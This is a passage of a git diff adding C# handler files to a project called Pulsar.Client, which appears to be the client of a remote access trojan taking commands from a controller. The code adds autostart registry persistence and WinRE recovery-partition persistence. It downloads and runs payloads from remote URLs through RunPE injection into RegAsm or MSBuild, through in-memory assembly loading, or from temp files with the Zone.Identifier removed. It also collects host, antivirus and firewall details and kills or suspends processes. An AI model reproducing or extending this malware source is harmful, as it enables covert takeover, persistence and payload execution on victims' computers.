startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunX86 }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnceX86 }); + } + } + } + if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) + { + var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles(); + + startupItems.AddRange(files.Where(file => file.Name != "desktop.ini").Select(file => new Common.Models.StartupItem + { Name = file.Name, Path = file.FullName, Type = StartupType.StartMenu })); + } + + client.Send(new GetStartupItemsResponse { StartupItems = startupItems }); + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Getting Autostart Items failed: {ex.Message}" }); + } + } + + private void Execute(ISender client, DoStartupItemAdd message) + { + try + { + switch (message.StartupItem.Type) + { + case StartupType.LocalMachineRun: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.LocalMachineRunOnce: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.CurrentUserRun: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.CurrentUserRunOnce: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.LocalMachineRunX86: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.LocalMachineRunOnceX86: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.StartMenu: + if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) + { + Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Startup)); + } + + string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), + message.StartupItem.Name + ".url"); + + using (var writer = new StreamWriter(lnkPath, false)) + { + writer.WriteLine("[InternetShortcut]"); + writer.WriteLine("URL=file:///" + message.StartupItem.Path); + writer.WriteLine("IconIndex=0"); + writer.WriteLine("IconFile=" + message.StartupItem.Path.Replace('\\', '/')); + writer.Flush(); + } + break; + } + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Adding Autostart Item failed: {ex.Message}" }); + } + } + + private void Execute(ISender client, DoStartupItemRemove message) + { + try + { + switch (message.StartupItem.Type) + { + case StartupType.LocalMachineRun: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.LocalMachineRunOnce: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.CurrentUserRun: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.CurrentUserRunOnce: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.LocalMachineRunX86: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.LocalMachineRunOnceX86: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.StartMenu: + string startupItemPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), message.StartupItem.Name); + + if (!File.Exists(startupItemPath)) + throw new IOException("File does not exist"); + + File.Delete(startupItemPath); + break; + } + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Removing Autostart Item failed: {ex.Message}" }); + } + } + } +} diff --git a/Pulsar.Client/Messages/SystemInformationHandler.cs b/Pulsar.Client/Messages/SystemInformationHandler.cs new file mode 100644 index 0000000..b1aeb89 --- /dev/null +++ b/Pulsar.Client/Messages/SystemInformationHandler.cs @@ -0,0 +1,76 @@ +ο»Ώusing Pulsar.Client.Helper; +using Pulsar.Client.IpGeoLocation; +using Pulsar.Client.User; +using Pulsar.Common.Messages; +using Pulsar.Common.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Net.NetworkInformation; +using Pulsar.Client.IO; +using Pulsar.Common.Messages.Administration.SystemInfo; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Client.Messages +{ + public class SystemInformationHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetSystemInfo; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetSystemInfo msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetSystemInfo message) + { + try + { + IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties(); + + var domainName = (!string.IsNullOrEmpty(properties.DomainName)) ? properties.DomainName : "-"; + var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-"; + + var geoInfo = GeoInformationFactory.GetGeoInformation(); + var userAccount = new UserAccount(); + string defaultBrowser = SystemHelper.GetDefaultBrowser(); + + List> lstInfos = new List> + { + new Tuple("Processor (CPU)", HardwareDevices.CpuName), + new Tuple("Memory (RAM)", $"{HardwareDevices.TotalPhysicalMemory} MB"), + new Tuple("Video Card (GPU)", HardwareDevices.GpuNames), + new Tuple("Username", userAccount.UserName), + new Tuple("PC Name", SystemHelper.GetPcName()), + new Tuple("Domain Name", domainName), + new Tuple("Host Name", hostName), + new Tuple("System Drive", Path.GetPathRoot(Environment.SystemDirectory)), + new Tuple("System Directory", Environment.SystemDirectory), + new Tuple("Uptime", SystemHelper.GetUptime()), + new Tuple("MAC Address", HardwareDevices.MacAddress), + new Tuple("LAN IP Address", HardwareDevices.LanIpAddress), + new Tuple("WAN IP Address", geoInfo.IpAddress), + new Tuple("ASN", geoInfo.Asn), + new Tuple("ISP", geoInfo.Isp), + new Tuple("Antivirus", SystemHelper.GetAntivirus()), + new Tuple("Firewall", SystemHelper.GetFirewall()), + new Tuple("Time Zone", geoInfo.Timezone), + new Tuple("Country", geoInfo.Country), + new Tuple("Default Browser", defaultBrowser) + }; + + client.Send(new GetSystemInfoResponse { SystemInfos = lstInfos }); + } + catch + { + } + } + } +} diff --git a/Pulsar.Client/Messages/TaskManagerHandler.cs b/Pulsar.Client/Messages/TaskManagerHandler.cs new file mode 100644 index 0000000..9943f9c --- /dev/null +++ b/Pulsar.Client/Messages/TaskManagerHandler.cs @@ -0,0 +1,440 @@ +ο»Ώusing Pulsar.Client.Networking; +using Pulsar.Client.Setup; +using Pulsar.Client.Helper; +using Pulsar.Common; +using Pulsar.Common.Enums; +using Pulsar.Common.Helpers; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Administration.TaskManager; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Management; +using System.Net; +using System.Reflection; +using System.Threading; + +namespace Pulsar.Client.Messages +{ + public class TaskManagerHandler : IMessageProcessor, IDisposable + { + private readonly PulsarClient _client; + private readonly WebClient _webClient; + + public TaskManagerHandler(PulsarClient client) + { + _client = client; + _client.ClientState += OnClientStateChange; + _webClient = new WebClient { Proxy = null }; + _webClient.DownloadDataCompleted += OnDownloadDataCompleted; + } + + private void OnClientStateChange(Networking.Client s, bool connected) + { + if (!connected && _webClient.IsBusy) _webClient.CancelAsync(); + } + + public bool CanExecute(IMessage message) => + message is GetProcesses || + message is DoProcessStart || + message is DoProcessEnd || + message is DoProcessDump || + message is DoSetTopMost || + message is DoSuspendProcess || + message is DoSetWindowState; + + public bool CanExecuteFrom(ISender sender) => true; + + private void SendStatus(string message) + { + try { _client.Send(new SetStatus { Message = message }); } + catch { } + } + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetProcesses msg: Execute(sender, msg); break; + case DoProcessStart msg: Execute(sender, msg); break; + case DoProcessEnd msg: Execute(sender, msg); break; + case DoProcessDump msg: Execute(sender, msg); break; + case DoSuspendProcess msg: Execute(sender, msg); break; + case DoSetTopMost msg: Execute(sender, msg); break; + case DoSetWindowState msg: Execute(sender, msg); break; + } + } + private void Execute(ISender client, DoProcessEnd message) + { + try + { + Process proc = Process.GetProcessById(message.Pid); + if (proc != null) + { + proc.Kill(); + client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = true }); + SendStatus($"Process PID {message.Pid} ({proc.ProcessName}) successfully terminated"); + } + else + { + client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = false }); + SendStatus($"Kill failed: PID {message.Pid} not found"); + } + } + catch (System.ComponentModel.Win32Exception ex) + { + // Happens when user lacks privileges to terminate the process + client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = false }); + SendStatus($"Kill failed for PID {message.Pid}: Access denied (admin privileges required). {ex.Message}"); + } + catch (Exception ex) + { + client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = false }); + SendStatus($"Kill failed for PID {message.Pid}: {ex.Message}"); + } + } + + // ---------------------- WINDOW HANDLERS ---------------------- + private void Execute(ISender client, DoSuspendProcess message) + { + try + { + Process proc = Process.GetProcessById(message.Pid); + if (proc != null) + { + if (message.Suspend) + Utilities.NativeMethods.NtSuspendProcess(proc.Handle); + else + Utilities.NativeMethods.NtResumeProcess(proc.Handle); // <--- process-level resume + + client.Send(new DoProcessResponse + { + Action = ProcessAction.Suspend, + Result = true + }); + + SendStatus($"Process PID {message.Pid} {(message.Suspend ? "suspended" : "resumed")}"); + } + else + { + client.Send(new DoProcessResponse + { + Action = ProcessAction.Suspend, + Result = false + }); + + SendStatus($"Process PID {message.Pid} not found"); + } + } + catch + { + client.Send(new DoProcessResponse + { + Action = ProcessAction.Suspend, + Result = false + }); + + SendStatus($"Failed to {(message.Suspend ? "suspend" : "resume")} PID {message.Pid}"); + } + } + + + + private void Execute(ISender client, DoSetWindowState message) + { + try + { + Process proc = Process.GetProcessById(message.Pid); + if (proc == null || proc.MainWindowHandle == IntPtr.Zero) + { + client.Send(new DoProcessResponse { Action = ProcessAction.None, Result = false }); + SendStatus($"SetWindowState failed: PID {message.Pid} not found or has no main window"); + return; + } + + int nCmd = message.Minimize ? 6 : 9; + bool result = Utilities.NativeMethods.ShowWindow(proc.MainWindowHandle, nCmd); + + if (result) + SendStatus($"Window {(message.Minimize ? "minimized" : "restored")} for PID {message.Pid}"); + else + SendStatus($"SetWindowState failed for PID {message.Pid}: Access denied or higher privilege required"); + + client.Send(new DoProcessResponse { Action = ProcessAction.None, Result = result }); + } + catch (Exception ex) + { + client.Send(new DoProcessResponse { Action = ProcessAction.None, Result = false }); + SendStatus($"SetWindowState failed for PID {message.Pid}: {ex.Message}"); + } + } + + private void Execute(ISender client, DoSetTopMost message) + { + try + { + Process proc = Process.GetProcessById(message.Pid); + if (proc == null || proc.MainWindowHandle == IntPtr.Zero) + { + client.Send(new DoProcessResponse { Action = ProcessAction.SetTopMost, Result = false }); + SendStatus($"SetTopMost failed: PID {message.Pid} not found or has no main window"); + return; + } + + const int HWND_TOPMOST = -1; + const int HWND_NOTOPMOST = -2; + const uint SWP_NOSIZE = 0x0001; + const uint SWP_NOMOVE = 0x0002; + const uint SWP_SHOWWINDOW = 0x0040; + + Utilities.NativeMethods.SetForegroundWindow(proc.MainWindowHandle); + if (Utilities.NativeMethods.IsIconic(proc.MainWindowHandle)) + Utilities.NativeMethods.ShowWindow(proc.MainWindowHandle, 9); + + IntPtr hWndInsertAfter = new IntPtr(message.Enable ? HWND_TOPMOST : HWND_NOTOPMOST); + bool result = Utilities.NativeMethods.SetWindowPos( + proc.MainWindowHandle, + hWndInsertAfter, + 0, 0, 0, 0, + SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW + ); + + if (result) + SendStatus($"TopMost {(message.Enable ? "enabled" : "disabled")} for PID {message.Pid}"); + else + SendStatus($"SetTopMost failed for PID {message.Pid}: Access denied or higher privilege required"); + + client.Send(new DoProcessResponse { Action = ProcessAction.SetTopMost, Result = result }); + } + catch (Exception ex) + { + client.Send(new DoProcessResponse { Action = ProcessAction.SetTopMost, Result = false }); + SendStatus($"SetTopMost failed for PID {message.Pid}: {ex.Message}"); + } + } + + // ---------------------- PROCESS HANDLERS ---------------------- + + private void Execute(ISender client, GetProcesses message) + { + Process[] pList = Process.GetProcesses(); + var processes = new Common.Models.Process[pList.Length]; + var parentMap = GetParentProcessMap(); + + for (int i = 0; i < pList.Length; i++) + { + processes[i] = new Common.Models.Process + { + Name = pList[i].ProcessName + ".exe", + Id = pList[i].Id, + MainWindowTitle = pList[i].MainWindowTitle, + ParentId = parentMap.TryGetValue(pList[i].Id, out var parentId) ? parentId : null + }; + } + + int currentPid = Process.GetCurrentProcess().Id; + client.Send(new GetProcessesResponse { Processes = processes, RatPid = currentPid }); + } + + private void Execute(ISender client, DoProcessStart message) + { + SendStatus($"Starting process: {message.FilePath ?? message.DownloadUrl}"); + + if (string.IsNullOrEmpty(message.FilePath) && (message.FileBytes == null || message.FileBytes.Length == 0)) + { + if (string.IsNullOrEmpty(message.DownloadUrl)) + { + client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + SendStatus("Process start failed: No file path or download URL"); + return; + } + + try + { + if (_webClient.IsBusy) { _webClient.CancelAsync(); while (_webClient.IsBusy) Thread.Sleep(50); } + _webClient.DownloadDataAsync(new Uri(message.DownloadUrl), message); + } + catch + { + client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + SendStatus("Process start failed: Download error"); + } + } + else + { + ExecuteProcess(message.FileBytes, message.FilePath, message.IsUpdate, message.ExecuteInMemoryDotNet, message.UseRunPE, message.RunPETarget, message.RunPECustomPath, message.FileExtension); + } + } + + private void OnDownloadDataCompleted(object sender, DownloadDataCompletedEventArgs e) + { + var message = (DoProcessStart)e.UserState; + if (e.Cancelled || e.Error != null) + { + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + SendStatus("Process start failed: Download cancelled or error"); + return; + } + ExecuteProcess(e.Result, null, message.IsUpdate, message.ExecuteInMemoryDotNet, message.UseRunPE, message.RunPETarget, message.RunPECustomPath, message.FileExtension); + } + + private void ExecuteProcess(byte[] fileBytes, string filePath, bool isUpdate, bool executeInMemory, bool useRunPE, string runPETarget, string runPECustomPath, string fileExtension) + { + if (fileBytes == null && !string.IsNullOrEmpty(filePath) && File.Exists(filePath)) + fileBytes = File.ReadAllBytes(filePath); + + if (fileBytes == null || fileBytes.Length == 0) + { + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + SendStatus("Process start failed: no file bytes available"); + return; + } + + try + { + if (useRunPE) { ExecuteViaRunPE(fileBytes, runPETarget, runPECustomPath); return; } + if (executeInMemory) { ExecuteViaInMemoryDotNet(fileBytes); return; } + ExecuteViaTemporaryFile(fileBytes, fileExtension); + } + catch (Exception ex) + { + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + SendStatus($"Process start failed: {ex.Message}"); + } + } + + private void ExecuteViaRunPE(byte[] fileBytes, string runPETarget, string runPECustomPath) + { + new Thread(() => + { + try + { + bool result = Helper.RunPE.Execute(GetRunPEHostPath(runPETarget, runPECustomPath, IsPayload64Bit(fileBytes)), fileBytes); + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = result }); + SendStatus($"RunPE execution {(result ? "succeeded" : "failed")}"); + } + catch (Exception ex) + { + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + SendStatus($"RunPE failed: {ex.Message}"); + } + }).Start(); + } + + private void ExecuteViaInMemoryDotNet(byte[] fileBytes) + { + new Thread(() => + { + try + { + Assembly asm = Assembly.Load(fileBytes); + MethodInfo entry = asm.EntryPoint; + if (entry != null) + entry.Invoke(null, entry.GetParameters().Length == 0 ? null : new object[] { new string[0] }); + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true }); + SendStatus(".NET in-memory execution succeeded"); + } + catch (Exception ex) + { + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + SendStatus($".NET in-memory execution failed: {ex.Message}"); + } + }).Start(); + } + + private void ExecuteViaTemporaryFile(byte[] fileBytes, string fileExtension) + { + try + { + string tempPath = FileHelper.GetTempFilePath(fileExtension ?? ".exe"); + File.WriteAllBytes(tempPath, fileBytes); + FileHelper.DeleteZoneIdentifier(tempPath); + Process.Start(new ProcessStartInfo { UseShellExecute = true, FileName = tempPath }); + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true }); + SendStatus("Process executed via temporary file"); + } + catch (Exception ex) + { + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + SendStatus($"Temporary file execution failed: {ex.Message}"); + } + } + + private Dictionary GetParentProcessMap() + { + var map = new Dictionary(); + try + { + using (var searcher = new ManagementObjectSearcher("SELECT ProcessId, ParentProcessId FROM Win32_Process")) + using (var results = searcher.Get()) + { + foreach (ManagementObject obj in results) + { + int pid = Convert.ToInt32(obj["ProcessId"]); + int? parent = obj["ParentProcessId"] != null ? Convert.ToInt32(obj["ParentProcessId"]) : (int?)null; + map[pid] = parent != pid ? parent : null; + } + } + } + catch { } + return map; + } + + private bool IsPayload64Bit(byte[] payload) + { + try + { + if (payload.Length < 0x40 || payload[0] != 'M' || payload[1] != 'Z') return false; + int peOffset = BitConverter.ToInt32(payload, 0x3C); + return BitConverter.ToUInt16(payload, peOffset + 4) == 0x8664; + } + catch { return false; } + } + + private string GetRunPEHostPath(string target, string customPath, bool is64) + { + string winDir = Environment.GetFolderPath(Environment.SpecialFolder.Windows); + string frameworkDir = is64 + ? Path.Combine(winDir, "Microsoft.NET", "Framework64", "v4.0.30319") + : Path.Combine(winDir, "Microsoft.NET", "Framework", "v4.0.30319"); + + if (!Directory.Exists(frameworkDir)) + frameworkDir = System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory(); + + switch (target) + { + case "a": + return Path.Combine(frameworkDir, "RegAsm.exe"); + case "b": + return Path.Combine(frameworkDir, "RegSvcs.exe"); + case "c": + return Path.Combine(frameworkDir, "MSBuild.exe"); + case "d": + return customPath; + default: + return Path.Combine(frameworkDir, "RegAsm.exe"); + } + } + + + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _client.ClientState -= OnClientStateChange; + _webClient.DownloadDataCompleted -= OnDownloadDataCompleted; + _webClient.CancelAsync(); + _webClient.Dispose(); + } + } + } +} diff --git a/Pulsar.Client/Messages/TcpConnectionsHandler.cs b/Pulsar.Client/Messages/TcpConnectionsHandler.cs new file mode 100644 index 0000000..bef5578 --- /dev/null +++ b/Pulsar.Client/Messages/TcpConnectionsHandler.cs @@ -0,0 +1,119 @@ +ο»Ώusing Pulsar.Client.Utilities; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Administration.TCPConnections; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; +using Pulsar.Common.Networking; +using System; +using System.Runtime.InteropServices; + +namespace Pulsar.Client.Messages +{ + public class TcpConnectionsHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetConnections || + message is DoCloseConnection; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetConnections msg: + Execute(sender, msg); + break; + case DoCloseConnection msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetConnections message) + { + var table = GetTable(); + + var connections = new TcpConnection[table.Length]; + + for (int i = 0; i < table.Length; i++) + { + string processName; + try + { + var p = System.Diagnostics.Process.GetProcessById((int)table[i].owningPid); + processName = p.ProcessName; + } + catch + { + processName = $"PID: {table[i].owningPid}"; + } + + connections[i] = new TcpConnection + { + ProcessName = processName, + LocalAddress = table[i].LocalAddress.ToString(), + LocalPort = table[i].LocalPort, + RemoteAddress = table[i].RemoteAddress.ToString(), + RemotePort = table[i].RemotePort, + State = (ConnectionState)table[i].state + }; + } + + client.Send(new GetConnectionsResponse { Connections = connections }); + } + + private void Execute(ISender client, DoCloseConnection message) + { + var table = GetTable(); + + for (var i = 0; i < table.Length; i++) + { + //search for connection + if (message.LocalAddress == table[i].LocalAddress.ToString() && + message.LocalPort == table[i].LocalPort && + message.RemoteAddress == table[i].RemoteAddress.ToString() && + message.RemotePort == table[i].RemotePort) + { + // it will close the connection only if client run as admin + table[i].state = (byte) ConnectionState.Delete_TCB; + var ptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(table[i])); + Marshal.StructureToPtr(table[i], ptr, false); + NativeMethods.SetTcpEntry(ptr); + Execute(client, new GetConnections()); + return; + } + } + } + + private NativeMethods.MibTcprowOwnerPid[] GetTable() + { + NativeMethods.MibTcprowOwnerPid[] tTable; + var afInet = 2; + var buffSize = 0; + // retrieve correct pTcpTable size + NativeMethods.GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll); + var buffTable = Marshal.AllocHGlobal(buffSize); + try + { + var ret = NativeMethods.GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll); + if (ret != 0) + return null; + var tab = (NativeMethods.MibTcptableOwnerPid)Marshal.PtrToStructure(buffTable, typeof(NativeMethods.MibTcptableOwnerPid)); + var rowPtr = (IntPtr)((long)buffTable + Marshal.SizeOf(tab.dwNumEntries)); + tTable = new NativeMethods.MibTcprowOwnerPid[tab.dwNumEntries]; + for (var i = 0; i < tab.dwNumEntries; i++) + { + var tcpRow = (NativeMethods.MibTcprowOwnerPid)Marshal.PtrToStructure(rowPtr, typeof(NativeMethods.MibTcprowOwnerPid)); + tTable[i] = tcpRow; + rowPtr = (IntPtr)((long)rowPtr + Marshal.SizeOf(tcpRow)); + } + } + finally + { + Marshal.FreeHGlobal(buffTable); + } + return tTable; + } + } +} diff --git a/Pulsar.Client/Messages/WallpaperHandler.cs b/Pulsar.Client/Messages/WallpaperHandler.cs new file mode 100644 index 0000000..1b9fb66 --- /dev/null +++ b/Pulsar.Client/Messages/WallpaperHandler.cs @@ -0,0 +1,42 @@ +using Pulsar.Common.Messages; +using Pulsar.Common.Networking; +using Pulsar.Common.Messages.FunStuff; +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Runtime.InteropServices; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Client.Messages +{ +public class WallpaperHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoChangeWallpaper; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + if (message is DoChangeWallpaper changeWallpaperMessage) + { + SetWallpaper(changeWallpaperMessage.ImageData, changeWallpaperMessage.ImageFormat); + } + } + + private void SetWallpaper(byte[] imageData, string imageFormat) + { + string tempPath = Path.Combine(Path.GetTempPath(), $"wallpaper.{imageFormat}"); + File.WriteAllBytes(tempPath, imageData); + + SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, tempPath, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE); + } + + [DllImport("user32.dll", CharSet = CharSet.Auto)] + private static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni); + + private const int SPI_SETDESKWALLPAPER = 20; + private const int SPIF_UPDATEINIFILE = 0x01; + private const int SPIF_SENDCHANGE = 0x02; + } +} diff --git a/Pulsar.Client/Messages/WebsiteVisitorHandler.cs b/Pulsar.Client/Messages/WebsiteVisitorHandler.cs new file mode 100644 index 0000000..6ccec73 --- /dev/null +++ b/Pulsar.Client/Messages/WebsiteVisitorHandler.cs @@ -0,0 +1,62 @@ +ο»Ώusing Pulsar.Common.Messages; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Messages.UserSupport.Website; +using Pulsar.Common.Networking; +using System; +using System.Diagnostics; +using System.Net; + +namespace Pulsar.Client.Messages +{ + public class WebsiteVisitorHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoVisitWebsite; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoVisitWebsite msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoVisitWebsite message) + { + string url = message.Url; + + if (!url.StartsWith("http")) + url = "http://" + url; + + if (Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute)) + { + if (!message.Hidden) + Process.Start(url); + else + { + try + { + HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url); + request.UserAgent = + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"; + request.AllowAutoRedirect = true; + request.Timeout = 10000; + request.Method = "GET"; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + } + } + catch + { + } + } + + client.Send(new SetStatus { Message = "Visited Website" }); + } + } + } +} diff --git a/Pulsar.Client/Messages/WinREPersistenceHandler.cs b/Pulsar.Client/Messages/WinREPersistenceHandler.cs new file mode 100644 index 0000000..a0e23a6 --- /dev/null +++ b/Pulsar.Client/Messages/WinREPersistenceHandler.cs @@ -0,0 +1,140 @@ +ο»Ώusing Pulsar.Client.Helper.WinRE; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.ClientManagement.WinRE; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using System; +using System.Diagnostics; +using System.IO; +using System.Reflection; + +namespace Pulsar.Client.Messages +{ + public class WinREPersistenceHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoAddWinREPersistence || message is DoRemoveWinREPersistence || message is AddCustomFileWinRE; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoAddWinREPersistence msg: + Execute(sender, msg); + break; + + case DoRemoveWinREPersistence msg: + Execute(sender, msg); + break; + + case AddCustomFileWinRE msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoAddWinREPersistence message) + { + try + { + string exeLocation; + + try + { + exeLocation = Assembly.GetExecutingAssembly().Location; + + if (string.IsNullOrEmpty(exeLocation)) + { + // we running in memory + return; + } + } + catch (Exception ex) + { + // ye we def in memory + Debug.WriteLine($"Failed to get assembly location: {ex.Message}"); + return; + } + + byte[] bytes = System.IO.File.ReadAllBytes(exeLocation); + WinREPersistence.Uninstall(); + WinREPersistence.InstallFile(bytes, ".exe"); + + client.Send(new SetStatus + { + Message = "Added WinRE Persistence" + }); + } + catch + { + client.Send(new SetStatus + { + Message = "Failed to add WinRE Persistence" + }); + } + } + + private void Execute(ISender client, DoRemoveWinREPersistence message) + { + try + { + WinREPersistence.Uninstall(); + client.Send(new SetStatus + { + Message = "Removed WinRE Persistence" + }); + } + catch (Exception ex) + { + client.Send(new SetStatus + { + Message = $"Failed to remove WinRE Persistence: {ex.Message}" + }); + } + } + + private void Execute(ISender client, AddCustomFileWinRE message) + { + try + { + if (string.IsNullOrEmpty(message.Path)) + { + client.Send(new SetStatus + { + Message = "Invalid path or arguments for custom file." + }); + return; + } + + if (!File.Exists(message.Path)) + { + client.Send(new SetStatus + { + Message = "Custom file does not exist." + }); + return; + } + + byte[] fileBytes = File.ReadAllBytes(message.Path); + + WinREPersistence.Uninstall(); + + string fileExtension = Path.GetExtension(message.Path); + + WinREPersistence.InstallFile(fileBytes, fileExtension); + client.Send(new SetStatus + { + Message = "Added Custom File to WinRE Persistence" + }); + } + catch (Exception ex) + { + client.Send(new SetStatus + { + Message = $"Failed to add custom file: {ex.Message}" + }); + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Networking/Client.cs b/Pulsar.Client/Networking/Client.cs new file mode 100644 index 0000000..e523f8a --- /dev/null +++ 